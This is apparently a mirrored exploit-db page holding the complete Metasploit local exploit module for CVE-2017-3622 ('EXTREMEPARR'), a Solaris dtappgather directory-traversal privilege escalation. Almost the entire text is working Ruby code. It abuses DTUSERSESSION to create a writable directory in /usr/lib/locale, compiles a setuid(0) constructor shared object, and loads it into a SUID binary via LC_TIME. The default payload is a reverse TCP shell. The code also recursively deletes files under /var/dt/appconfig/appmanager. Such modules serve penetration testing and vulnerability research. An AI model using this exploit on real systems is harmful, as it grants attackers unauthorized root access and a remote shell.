Solaris – ‘EXTREMEPARR’ dtappgather Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2018-09-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45479/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::File
    include Msf::Post::Solaris::Priv
    include Msf::Post::Solaris::System
    include Msf::Post::Solaris::Kernel
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",
    'Description'=> %q{
    This module exploits a directory traversal vulnerability in the
    `dtappgather` executable included with Common Desktop Environment (CDE)
    on unpatched Solaris systems prior to Solaris 10u11 which allows users
    to gain root privileges.
    
    dtappgather allows users to create a user-owned directory at any
    location on the filesystem using the `DTUSERSESSION` environment
    variable.
    
    This module creates a directory in `/usr/lib/locale`, writes a shared
    object to the directory, and runs the specified SUID binary with the
    shared object loaded using the `LC_TIME` environment variable.
    
    This module has been tested successfully on:
    
    Solaris 9u7 (09/04) (x86);
    Solaris 10u1 (01/06) (x86);
    Solaris 10u2 (06/06) (x86);
    Solaris 10u4 (08/07) (x86);
    Solaris 10u8 (10/09) (x86);
    Solaris 10u9 (09/10) (x86).
    },
    'References' =>
    [
    ['BID', '97774'],
    ['CVE', '2017-3622'],
    ['EDB', '41871'],
    ['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],
    ['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']
    ],
    'Notes'=> { 'AKA' => ['EXTREMEPARR'] },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Shadow Brokers', # exploit
    'Hacker Fantastic', # dtappgather-poc.sh
    'Brendan Coles' # Metasploit
    ],
    'DisclosureDate' => 'Apr 24 2017',
    'Privileged' => true,
    'Platform' => ['solaris', 'unix'],
    'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],
    'Targets'=> [['Auto', {}]],
    'SessionTypes' => ['shell', 'meterpreter'],
    'DefaultOptions' =>
    {
    'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',
    'WfsDelay'=> 10,
    'PrependFork' => true
    },
    'DefaultTarget'=> 0))
    register_options [
    # Some useful example SUID executables:
    # * /usr/bin/at
    # * /usr/bin/cancel
    # * /usr/bin/chkey
    # * /usr/bin/lp
    # * /usr/bin/lpset
    # * /usr/bin/lpstat
    # * /usr/lib/lp/bin/netpr
    # * /usr/sbin/lpmove
    OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),
    OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])
    ]
    register_advanced_options [
    OptBool.new('ForceExploit',[false, 'Override check result', false]),
    OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
    end
    
    def suid_bin_path
    datastore['SUID_PATH']
    end
    
    def dtappgather_path
    datastore['DTAPPGATHER_PATH']
    end
    
    def mkdir(path)
    vprint_status "Creating directory '#{path}'"
    cmd_exec "mkdir -p '#{path}'"
    register_dir_for_cleanup path
    end
    
    def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
    end
    
    def upload_and_compile(path, data)
    upload "#{path}.c", data
    
    output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
    unless output.blank?
    print_error output
    fail_with Failure::Unknown, "#{path}.c failed to compile"
    end
    
    register_file_for_cleanup path
    end
    
    def symlink(link_target, link_name)
    vprint_status "Symlinking #{link_target} to #{link_name}"
    rm_f link_name
    cmd_exec "ln -sf #{link_target} #{link_name}"
    register_file_for_cleanup link_name
    end
    
    def check
    [dtappgather_path, suid_bin_path].each do |path|
    unless setuid? path
    vprint_error "#{path} is not setuid"
    return CheckCode::Safe
    end
    vprint_good "#{path} is setuid"
    end
    
    unless has_gcc?
    vprint_error 'gcc is not installed'
    return CheckCode::Safe
    end
    vprint_good 'gcc is installed'
    
    version = kernel_release
    if version.to_s.eql? ''
    vprint_error 'Could not determine Solaris version'
    return CheckCode::Detected
    end
    
    unless Gem::Version.new(version).between? Gem::Version.new('5.7'), Gem::Version.new('5.10')
    vprint_error "Solaris version #{version} is not vulnerable"
    return CheckCode::Safe
    end
    vprint_good "Solaris version #{version} appears to be vulnerable"
    
    CheckCode::Appears
    end
    
    def exploit
    if is_root?
    fail_with Failure::BadConfig, 'Session already has root privileges'
    end
    
    unless [CheckCode::Detected, CheckCode::Appears].include? check
    unless datastore['ForceExploit']
    fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
    end
    print_warning 'Target does not appear to be vulnerable'
    end
    
    unless writable? datastore['WritableDir']
    fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end
    
    # Remove appmanager directory and contents
    appmanager_path = '/var/dt/appconfig/appmanager'
    vprint_status "Cleaning appmanager directory #{appmanager_path}"
    cmd_exec "chmod -R 755 #{appmanager_path}/*"
    cmd_exec "rm -rf #{appmanager_path}/*"
    rm_f appmanager_path
    
    # Create writable directory in /usr/lib/locale
    locale_path = '/usr/lib/locale'
    locale_name = rand_text_alphanumeric 5..10
    new_dir = "#{locale_path}/#{locale_name}"
    vprint_status "Creating directory #{new_dir}"
    depth = 3
    cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather"
    depth.times do
    cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"
    end
    symlink locale_path, appmanager_path
    cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
    unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
    fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
    end
    
    print_good "Created directory #{new_dir}"
    register_dir_for_cleanup new_dir
    
    rm_f appmanager_path
    cmd_exec "chmod 755 #{new_dir}"
    
    # Upload and compile shared object
    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    mkdir base_path
    
    payload_name = ".#{rand_text_alphanumeric 5..10}"
    payload_path = "#{base_path}/#{payload_name}"
    
    so = <<-EOF
    void __attribute__((constructor)) cons() {
    setuid(0);
    setgid(0);
    execle("#{payload_path}", "", 0, 0);
    _exit(0);
    }
    EOF
    
    so_name = ".#{rand_text_alphanumeric 5..10}"
    so_path = "#{base_path}/#{so_name}"
    upload_and_compile so_path, so
    
    vprint_status "Writing shared objects to #{new_dir}"
    cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"
    register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"
    cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"
    register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"
    
    # Upload and execute payload
    upload payload_path, generate_payload_exe
    cmd_exec "chmod +x #{payload_path}"
    
    print_status 'Executing payload...'
    cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "
    end
    end